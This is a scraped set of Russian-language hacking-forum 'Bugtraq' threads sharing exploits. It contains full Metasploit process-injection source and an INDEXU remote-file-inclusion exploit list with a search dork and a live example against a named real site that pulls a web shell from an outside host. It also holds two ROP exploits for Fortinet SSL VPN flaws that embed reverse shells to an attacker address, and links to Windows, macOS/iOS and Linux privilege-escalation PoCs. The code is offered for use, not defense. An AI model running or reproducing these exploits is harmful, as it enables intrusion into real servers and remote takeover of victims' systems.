Bug Tracking

Модули для Metasploit Framework
ID: 67686ba3b4103b69df379b15
Thread ID: 23818
Created: 2013-01-26T09:33:25+0000
Last Post: 2024-12-10T04:18:45+0000
Author: DarckSol
Replies: 133 Views: 92K

Ставим metasploit..
Тут всё как бы просто)) на данный момент мне известно 2 варианта установки))) мы с Вами, уважаемые читатели, рассмотрим оба)))

  1. Скачать дистрибудив у официального производителя/поставщика
  2. GitHub + все его плюшки.....
    ---------------------------------------------------------------------------------------

Вариант 1.​

Собственно фарш METASPLOIT 'а, установочный пакет для бесплатной загрузки.

:zns5: Скачать|Download

1a) Если у Вас Windows***, то отключив антивирус, двойным щелчком запускаем установщик и следуем его инструкциям
a2) Linux..., запускаем консоль, пишем:

Code:Copy to clipboard

sudo chmod +x Metasploit*.run
sudo password:....
sudo ./Metasploit*.run

Далее следуем инструкциям установщика..., далее, далее, далее...., готова.
Снова открываем консоль, пишем msfconsole и вооля....
ЗЫ..: Отличия этого метода в том, что содержимое не обновляется....(( То есть актуальность на момент установки...(((

Вариант 2.(доступен только для пользователей Linux платформ)​

Открываем консоль и пишем следующее...:

Code:Copy to clipboard

mkdir msins && cd msins
git clone https://github.com/darkoperator/MSF-Installer
cd MSF-Installer
sudo msf_install.sh -i
sudo password:...

Ждём окончания процесса..., минут 15-20. За это время скрипт автоматически выкачает и установит весь необходимый набор пакетов и зависимостей, необходимых для корректной работы. Установит PostgreSQL создаст базу, пользователя, пропишет в msf.., ну ясно в общем.. и ГЛАВНОЕ, при запуске скрипта из комплекта Метасплоита, "msfupdate", он проверит актуальность установленной базы модулей с базой GitHub(url), и произведёт загрузку и обновления недостающего.

**


Дальше публикуем модули, дополнения, сплоиты, классы, и всё что к этому прилагается.


Windows Manage Memory Payload Injection

Click to expand...

This Metasploit module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead.

Click to expand...

Code:Copy to clipboard

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	def initialize(info={})
  super( update_info( info,
  	'Name'          => 'Windows Manage Memory Payload Injection',
  	'Description'   => %q{
    	This module will inject a payload into memory of a process.  If a payload
    isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
    datastore option isn't specified, then it'll inject into notepad.exe instead.
  	},
  	'License'       => MSF_LICENSE,
  	'Author'        =>
    [
    	'Carlos Perez <carlos_perez[at]darkoperator.com>',
    	'sinn3r'
    ],
  	'Platform'      => [ 'win' ],
  	'SessionTypes'  => [ 'meterpreter' ],
  	'Targets'       => [ [ 'Windows', {} ] ],
  	'DefaultTarget' => 0,
  	'DisclosureDate'=> "Oct 12 2011"
  ))

  register_options(
  	[
    OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
    OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
  	], self.class)
	end

	# Run Method for when run command is issued
	def exploit
  @payload_name = datastore['PAYLOAD']
  @payload_arch = framework.payloads.create(@payload_name).arch

  # syinfo is only on meterpreter sessions
  print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

  pid = get_pid
  if not pid
  	print_error("Unable to get a proper PID")
  	return
  end

  if @payload_arch.first =~ /64/ and client.platform =~ /x86/
  	print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
  	print_error("Migrate to an x64 process and try again.")
  	return false
  else
  	inject_into_pid(pid)
  end
	end

	# Figures out which PID to inject to
	def get_pid
  pid = datastore['PID']
  if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
  	print_status("Launching notepad.exe...")
  	pid = create_temp_proc
  end

  return pid
	end


	# Determines if a PID actually exists
	def has_pid?(pid)
  procs = []
  begin
  	procs = client.sys.process.processes
  rescue Rex::Post::Meterpreter::RequestError
  	print_error("Unable to enumerate processes")
  	return false
  end

  pids = []

  procs.each do |p|
  	found_pid = p['pid'] 
  	return true if found_pid == pid
  end

  print_error("PID #{pid.to_s} does not actually exist.")

  return false
	end

	# Checks the Architeture of a Payload and PID are compatible
	# Returns true if they are false if they are not
	def arch_check(pid)
  # get the pid arch
  client.sys.process.processes.each do |p|
  	# Check Payload Arch
  	if pid == p["pid"]
    vprint_status("Process found checking Architecture")
    if @payload_arch.first == p['arch']
    	vprint_good("Process is the same architecture as the payload")
    	return true
    else
    	print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
    	return false
    end
  	end
  end
	end

	# Creates a temp notepad.exe to inject payload in to given the payload
	# Returns process PID
	def create_temp_proc()
  windir = client.fs.file.expand_path("%windir%")
  # Select path of executable to run depending the architecture
  if @payload_arch.first== "x86" and client.platform =~ /x86/
  	cmd = "#{windir}\\System32\\notepad.exe"
  elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
  	cmd = "#{windir}\\System32\\notepad.exe"
  elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
  	cmd = "#{windir}\\Sysnative\\notepad.exe"
  elsif @payload_arch.first == "x86" and client.platform =~ /x64/
  	cmd = "#{windir}\\SysWOW64\\notepad.exe"
  end

  begin
  	proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
  rescue Rex::Post::Meterpreter::RequestError
  	return nil
  end

  return proc.pid
	end

	def inject_into_pid(pid)
  vprint_status("Performing Architecture Check")
  return if not arch_check(pid)

  begin
  	print_status("Preparing '#{@payload_name}' for PID #{pid}")
  	raw = payload.generate

  	print_status("Opening process #{pid.to_s}")
  	host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  	if not host_process
    print_error("Unable to open #{pid.to_s}")
    return
  	end

  	print_status("Allocating memory in procees #{pid}")
  	mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

  	# Ensure memory is set for execution
  	host_process.memory.protect(mem)

  	print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
  	print_status("Writing the stager into memory...")
  	host_process.memory.write(mem, raw)
  	host_process.thread.create(mem, 0)
  	print_good("Successfully injected payload in to process: #{pid}")

  rescue Rex::Post::Meterpreter::RequestError => e
  	print_error("Unable to inject payload:")
  	print_line(e.to_s)
  end
	end

end
INDEXU <= 5.0.1 (admin_template_path) Remote Include Vulnerabilities
ID: 67686ba3b4103b69df379e3c
Thread ID: 9303
Created: 2006-06-19T08:17:29+0000
Last Post: 2006-06-19T08:17:29+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 23K

INDEXU <= 5.0.1 (admin_template_path) Remote Include Vulnerabilities
Узявимый код:

Code:Copy to clipboard

include($admin_template_path."msg.php");
admin_template_path parameter File inclusion

Уязвимые файлы из папки admin:

Code:Copy to clipboard

app_change_email.php,app_change_pwd.php,app_mod_rewrite.php,app_page_caching.php,app_setup.php,cat_add.php,cat_delete.php
,cat_edit.php,cat_path_update.php,cat_search.php,cat_struc.php,cat_view.php,cat_view_hidden.php,cat_view_hierarchy.php
,cat_view_registered_only.php,checkurl_web.php,db_alter.php,db_backup.php,db_alter_change.php,db_export.php,editor_add.php
,db_import.php,editor_delete.php,editor_validate.php,head.php,inv_config.php,inv_create.php,inv_delete.php,inv_edit.php
,inv_config_payment.php,inv_markpaid.php,inv_markunpaid.php,inv_overdue.php,inv_paid.php,inv_send.php,inv_unpaid.php
,index.php,lang_modify.php,link_add.php,link_bad.php,link_bad_delete.php,link_checkurl.php,link_delete.php,link_duplicate.php
,link_edit.php,link_premium_listing.php,link_premium_sponsored.php,link_search.php,link_sponsored_listing.php
,link_validate.php,link_validate_edit.php,link_view.php,log_search.php,mail_modify.php,menu.php,message_create.php
,message_delete.php,message_edit.php,message_send.php,message_subscriber.php,message_view.php,review_validate.php
,review_validate_edit.php,summary.php,template_delete.php,template_delete_file.php,template_duplicate.php
,template_active.php,template_add_custom.php,template_export.php,template_import.php,template_manager.php,user_search.php
,template_modify_file.php,template_rename.php,user_add.php,user_delete.php,user_edit.php,whos.php,template_modify.php

Пример/Эксплоит:

Code:Copy to clipboard

http://example.com/indexu/admin/app_change_email.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_change_pwd.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_mod_rewrite.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_page_caching.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/app_setup.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_path_update.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_struc.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view_hidden.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view_hierarchy.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/cat_view_registered_only.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/checkurl_web.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_alter.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_alter_change.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_backup.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_export.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/db_import.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/editor_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/editor_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/editor_validate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/head.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/index.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_config.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_config_payment.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_create.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_markpaid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_markunpaid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_overdue.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_paid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_send.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/inv_unpaid.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/lang_modify.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_bad.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_bad_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_checkurl.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_duplicate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_premium_listing.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_premium_sponsored.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_sponsored_listing.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_validate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_validate_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/link_view.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/log_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/mail_modify.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/menu.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_create.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_send.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_subscriber.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/message_view.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/review_validate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/review_validate_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/summary.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_active.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_add_custom.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_delete_file.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_duplicate.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_export.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_import.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_manager.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_modify.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_modify_file.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/template_rename.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_add.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_delete.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_edit.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/user_search.php?admin_template_path=http://evilcode.txt?
http://example.com/indexu/admin/whos.php?admin_template_path=http://evilcode.txt?

dork: Powered by INDEXU
Пример:

Code:Copy to clipboard

http://torrentmix.eu/admin/message_send.php?admin_template_path=http://rst.void.ru/download/r57shell.txt?
LPE, Windows 10 x86\x64\Server 2019 - Task Scheduler, CVE-N\A, 0day
ID: 67686ba3b4103b69df379ce8
Thread ID: 29453
Created: 2019-05-22T07:04:06+0000
Last Post: 2019-05-22T20:13:05+0000
Author: weaver
Prefix: Local
Replies: 1 Views: 19K

Видео:

PoC:

github.com

[ SandboxEscaper/polarbearrepo

](https://github.com/SandboxEscaper/polarbearrepo)

Contribute to SandboxEscaper/polarbearrepo development by creating an account on GitHub.

github.com github.com

News:

![thehackernews.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEixE0h6YyetWk2zHGwEDxBetTzOK0IHp5YipSGJA1LsG8XR83ife0eSkrPnjskiX3awW3ip4G6oCH87Cc6ez6Dj5g4rJoyVHx9kdP_v3nl5cJktuUE7YnmjwiRcb3ZhxScqEAUQJxZeGARq%2Fs728-rw-e365%2Fwindows- zero-day- vulnerability.jpg&hash=dfb933e5ce2905d055d0d9405a6be84a&return_error=1)

[ PoC Exploit For Unpatched Windows 10 Zero-Day Flaw Published Online

](https://thehackernews.com/2019/05/windows-zero-day-vulnerability.html)

Hacker "SandboxEscaper" released Task Scheduler PoC exploit code for a new zero-day privilege escalation vulnerability affecting Windows 10 operating system

![thehackernews.com](/proxy.php?image=https%3A%2F%2Fblogger.googleusercontent.com%2Fimg%2Fb%2FR29vZ2xl%2FAVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq- FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE- BsPipJd2-1PMHTvO1%2Fs32-rw-e365%2Fthn.jpg&hash=731201cea47c3329ac66a269dee35cf0&return_error=1) thehackernews.com

MacOS\iOS эксплойты
ID: 67686ba3b4103b69df379b16
Thread ID: 28697
Created: 2019-04-10T07:34:03+0000
Last Post: 2024-08-04T21:24:41+0000
Author: weaver
Replies: 15 Views: 19K

В этой ветке будут выкладываться эксплойты под MacOS и iOS (Jailbreak) ...

Бэкграунд инфо: <https://googleprojectzero.blogspot.com/2019/04/splitting- atoms-in-xnu.html>
PoC exploit for iOS 12.0 on iPhone Xs

[ 1728 - project-zero - Project Zero - Monorail

](https://bugs.chromium.org/p/project-zero/issues/detail?id=1728#c4)

bugs.chromium.org bugs.chromium.org

Правила раздела Bugtraq
ID: 67686ba3b4103b69df379b17
Thread ID: 6243
Created: 2005-12-30T14:11:05+0000
Last Post: 2021-12-27T19:28:20+0000
Author: Great
Replies: 3 Views: 15K

Правила раздела
Все новые топики постим по шаблону:

(название топика): Уязвимости: CoolProg
Переполнение буфера в CoolProg
Уязвимые версии: 1.0, 1.1
Описание:
Обнаружено переполнение буфера в CoolProg, .....

Пример/Эксплоит:(если есть)

Производитель :zns2: CoolBigSite

Источник: Source

Все, кто отпостит сообщения в другом, сильно отличающемся формате, получит минус.

Почистил раздел от флейма, привел все заголовки топиков к нужному виду. По возможности постараюсь и содержание постов привести к указанному виду.

Producing a POC for CVE-2022-42475 (Fortinet RCE)
ID: 67686ba3b4103b69df379b3b
Thread ID: 83850
Created: 2023-03-15T15:55:05+0000
Last Post: 2024-08-22T16:56:39+0000
Author: Cyc199_77
Prefix: Remote
Replies: 35 Views: 10K

Python:Copy to clipboard

import socket
import ssl
from pwn import *
import time
import sys
import requests

context = ssl.SSLContext()
target_host = sys.argv[1]
target_port = sys.argv[2]
reverse = sys.argv[3]
params = sys.argv[4].split(" ")
strparams = "["
for param in params:
    strparams += "'"+param+"',"
strparams = strparams[:-1]
strparams += "]"


#binary functions
execve = p64(0x0042e050)

#binary gadgets
movrdirax = p64(0x00000000019d2196)# : mov rdi, rax ; call r13
poprsi = p64(0x000000000042f0f8)# : pop rsi ; ret)
poprdx = p64(0x000000000042f4a5)# : pop rdx ; ret)
jmprax = p64(0x0000000000433181)#: jmp rax)
pops = p64(0x000000000165cfd7)# : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret)
poprax = p64(0x00000000004359af)# : pop rax ; ret)
gadget1 = p64(0x0000000001697e0d); #0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
poprdi = p64(0x000000000042ed7e)# : pop rdi ; ret
rax3 = gadget1



#hardcoded value which would probably need to be bruteforced or leaked
hardcoded = 0x00007fc5f128e000

scbase = p64(hardcoded)
rdi = p64(hardcoded + 0xc48)
cmd = p64(hardcoded + 0xd38)
asdf = hardcoded + 0xd38
cmd1 = p64(asdf)
cmd2 = p64(asdf+16)
arg1 = p64(asdf+48)
arg2 = p64(asdf+56)
arg3 = p64(asdf+64)

ropchain = poprax
ropchain += execve
ropchain += poprdi
ropchain += cmd1
ropchain += poprsi
ropchain += cmd2
ropchain += poprdx
ropchain += p64(0)
ropchain += jmprax
ropchain += b"/bin/python\x00\x00\x00\x00\x00"
ropchain += arg1
ropchain += arg2
ropchain += arg3
ropchain += p64(0)
ropchain += b"python\x00\x00"
ropchain += b"-c\x00\x00\x00\x00\x00\x00"
ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket. SOCK_STREAM)\ns.connect(('"""+ reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """+strparams.encode()+b""",{})\n\x00\x00"""



try:
    with socket.create_connection((target_host, int(target_port,10))) as sock:
        with context.wrap_socket(sock, server_hostname=target_host) as ssock:
            ssock.settimeout(2)
context.verify_mode = ssl. CERT_NONE
            payload = b"A"*173096+rdi+poprdi+cmd+pops+b"A"*40+pops+rax3+b"C"*32+ropchain
            tosend = b"POST /remote/error HTTP/1.1\r\nHost: "+target_host +b"\r\nContent-Length: 115964117980\r\n\r\n" + payload
            ssock.sendall(tosend)
            r = ssock.recv(10024)
except Exception as e:
    print("Exception occurred :"+ repr(e))

SOURCE: freedom fox

Veeam Backup and Replication | CVE-2023-27532
ID: 67686ba3b4103b69df379b1b
Thread ID: 84404
Created: 2023-03-24T10:27:50+0000
Last Post: 2024-12-19T07:31:40+0000
Author: pimpom
Prefix: Remote
Replies: 56 Views: 9K

Уязвимость CVE-2023-27532 затрагивает все версии софта и может быть использована неавторизованными злоумышленниками для кражи учетных данных и удаленного выполнения кода от имени SYSTEM.

Veeam выпустила обновления безопасности для устранения этой уязвимости ещё 7 марта и рекомендует клиентам, использующим более старые версии VBR, выполнить обновление, чтобы защитить уязвимые устройства.

Компания также поделилась временным решением для защиты от уязвимости. Системным администраторов, которые не могут моментально развернуть исправления, требуется заблокировать внешние подключения к порту TCP 9401 с помощью брандмауэра резервного сервера.

[Отчет о уязвимости.](https://www.horizon3.ai/veeam-backup-and- replication-cve-2023-27532-deep-dive/)

RCE\LPE, Windows SMBv3, CVE-2020-0796
ID: 67686ba3b4103b69df379c0c
Thread ID: 35952
Created: 2020-04-01T18:39:18+0000
Last Post: 2022-12-10T10:27:26+0000
Author: weaver
Prefix: Remote
Replies: 25 Views: 9K

PoC: https://github.com/ZecOps/CVE-2020-0796-LPE-POC
Инфа : [https://blog.zecops.com/vulnerabili...a-local-privilege- escalation-writeup-and- poc/](https://blog.zecops.com/vulnerabilities/exploiting-smbghost- cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)

Еще один PoC

github.com

[ GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE

exploit #SMBGhost ](https://github.com/danigargu/CVE-2020-0796)

CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost - danigargu/CVE-2020-0796

github.com github.com

Bypass PatchGuard\HVCI, Windows 8\8.1\10, CVE-N/A, 0-day, ByePg
ID: 67686ba3b4103b69df379ca8
Thread ID: 33437
Created: 2019-11-25T09:15:08+0000
Last Post: 2020-12-10T18:44:24+0000
Author: weaver
Prefix: Local
Replies: 14 Views: 7K

Разработчик программного обеспечения Джан Бёлюк (Can Bölük) опубликовал PoC- код для уязвимости, эксплуатация которой позволяет обойти функцию безопасности Microsoft Kernel Patch Protection (KPP), более известную как PatchGuard. Метод обхода получил название ByePg.

PatchGuard, также известная как Kernel Patch Protection (KPP) — функция в 64-разрядных версиях Windows, обеспечивающая защиту от несанкционированной модификации ядра ОС вредоносным кодом.

После выпуска Windows 10 в 2015 году самым известным из всех методов обходов PatchGuard был GhostHook, обнаруженный исследователями CyberArk в 2017 году. Он работал только на системах с процессорами Intel, использующими функцию Processor Trace, позволяя внедрить вредоносный код в ядро ОС и установить руткит на системе. Второй метод обхода был обнаружен в июле нынешнего года и получил название InfinityHook. Метод был связан с использованием API NtTraceEvent для изменения ядра.

Недавно обнаруженный метод обхода ByePg позволяет взломать HalPrivateDispatchTable, чтобы позволить мошенническому приложению изменить ядро. ByePG считается еще более опасным, поскольку может обойти как PatchGuard, так и функцию Hypervisor-Protected Code Integrity (HVCI), позволяющую Microsoft помещать в «черный» список «плохие драйверы» на устройствах пользователей.

Ответ Microsoft во всех трех случаях был одинаковым. Поскольку все три эксплоита нуждаются в правах администратора для работы, то их нельзя классифицировать как проблемы безопасности. По словам компании, как только злоумышленник получит локальный доступ к системе с правами администратора, он сможет выполнить любую операцию, какую захочет.

Пока что неизвестно, планирует ли компания выпустить патч против данного метода обхода.

Источник: https://www.securitylab.ru/news/502832.php
Блог: <https://blog.can.ac/2019/10/19/byepg-defeating-patchguard-using- exception-hooking/>
PoC: https://github.com/can1357/ByePg

RCE, FortiOS & FortiProxy, CVE-2024-21762
ID: 67686ba3b4103b69df379b26
Thread ID: 110562
Created: 2024-03-16T16:27:23+0000
Last Post: 2024-11-18T16:38:32+0000
Author: yayo
Prefix: Remote
Replies: 46 Views: 7K

CVE-2024-21762 POC (Fortinet SSL VPN) out-of-bound vulnerability

Python:Copy to clipboard

import socket
import time
import argparse




TARGET = 'xxxxxxxxxxxx'  # Target IP
PORT = 443  # Target port, usually 443 for SSL VPN


def make_sock(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    return sock


def send_payload(payload, target, port):
    with make_sock(target, port) as ssock:
        ssock.sendall(payload)


def main():
    ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
    getcwd_ptr = b"%70%62%2c%04%00%00%00%00"


    pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
    pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;


    rop  = b""
    rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
    rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
    rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
    rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
    rop += b"%00%00%00%00%00%00%00%00" # zero rcx
    rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;


    rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
    rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
    rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;


    rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
    rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;


    rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
    rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
    rop += b"%00%00%00%00%00%00%00%00" # r8


    pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;


    call_execl = b"%80%c1%43%00%00%00%00%00"


    bin_node = b"/bin/node%00"
    e_flag = b"-e%00"
  ## use this one for rev shell   b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(1337,"xxxxxxxxxxx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
    js_payload = b'(function(){var cp=require("child_process");cp.execSync("nslookup xxxxxxxxxxx.oastify.com");})();%00'


    form_value  = b""
    form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
    form_value += b"B"*438 + pivot_2 + getcwd_ptr
    form_value += b"B"*32 + pivot_1
    form_value += b"B"*168 + call_execl
    form_value += b"B"*432 + ssl_do_handshake_ptr
    form_value += b"B"*32 + rop + pivot_3
    body = (b"B"*1808 + b"=" + form_value + b"&")*20


    data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
    data += b"Host: " + TARGET.encode() + b"\r\n"
    data += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    data += b"\r\n"
    data += body


    send_payload(data, TARGET, PORT)


    # Short delay to ensure the server processes the first request
    time.sleep(2)


    # Preparing and sending the second part of the exploit
    data  = b"POST / HTTP/1.1\r\n"
    data += b"Host: " + TARGET.encode() + b"\r\n"
    data += b"Transfer-Encoding: chunked\r\n"
    data += b"\r\n"
    data += b"0"*4137 + b"\0"
    data += b"A"*1 + b"\r\n\r\n"


    send_payload(data, TARGET, PORT)


if __name__ == "__main__":
    main()

source

*Nix kernel r00t
ID: 67686ba3b4103b69df379dea
Thread ID: 11172
Created: 2006-08-30T07:41:22+0000
Last Post: 2011-02-08T19:30:28+0000
Author: [br]
Prefix: Local
Replies: 7 Views: 7K

Рутаем ядра никсов. Распределено по версиям. Практически все найдете ТУТ лмбо по ссылкам ниже

2.4.17
newlocal
kmod

2.4.18 + 2.4.19
brk (working)
newlocal
kmod
km.2

2.4.20
ptrace
kmod
km.2
brk (working)
elfbl

2.4.21 + 2.4.22
ptrace
kmod
km.2
brk (working)

2.4.23 + 2.4.24 + 2.6.2
mremap_pte

2.6.11
k-rad3 тут

2.6.13 - 2.6.17.4
prctl() exploit еще вариант, и еще, и еще), он же
(proc) Local Root sploit

------------------------------------------
Все что неупомянуто постим тут в виде - версия ядро платформа ссылка =)

онли сплоит пост, плз но флуд

Уязвимости: FreeBSD
ID: 67686ba3b4103b69df379e00
Thread ID: 6474
Created: 2006-01-12T03:19:51+0000
Last Post: 2009-03-23T22:55:16+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 8 Views: 7K

Небезопасное создание временных файлов в редакторе ee в FreeBSD
Программа: FreeBSD 4.x, 5.x, 6.x
Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Уязвимость существует из-за того, что редактор "ee" создает небезопасным образом временные файлы во время проверки орфографии. Локальный пользователь может с помощью специально сформированный символической ссылки перезаписать произвольные файлы на системе с привилегиями пользователя, запустившего редактор.
Решение: Установите исправление с сайта производителя.

:zns2: производитель
Источник: www.securitylab.ru

Добавлено в [time]1137035991[/time]
Отказ в обслуживании в FreeBSD ipfw
Программа: FreeBSD 6.x
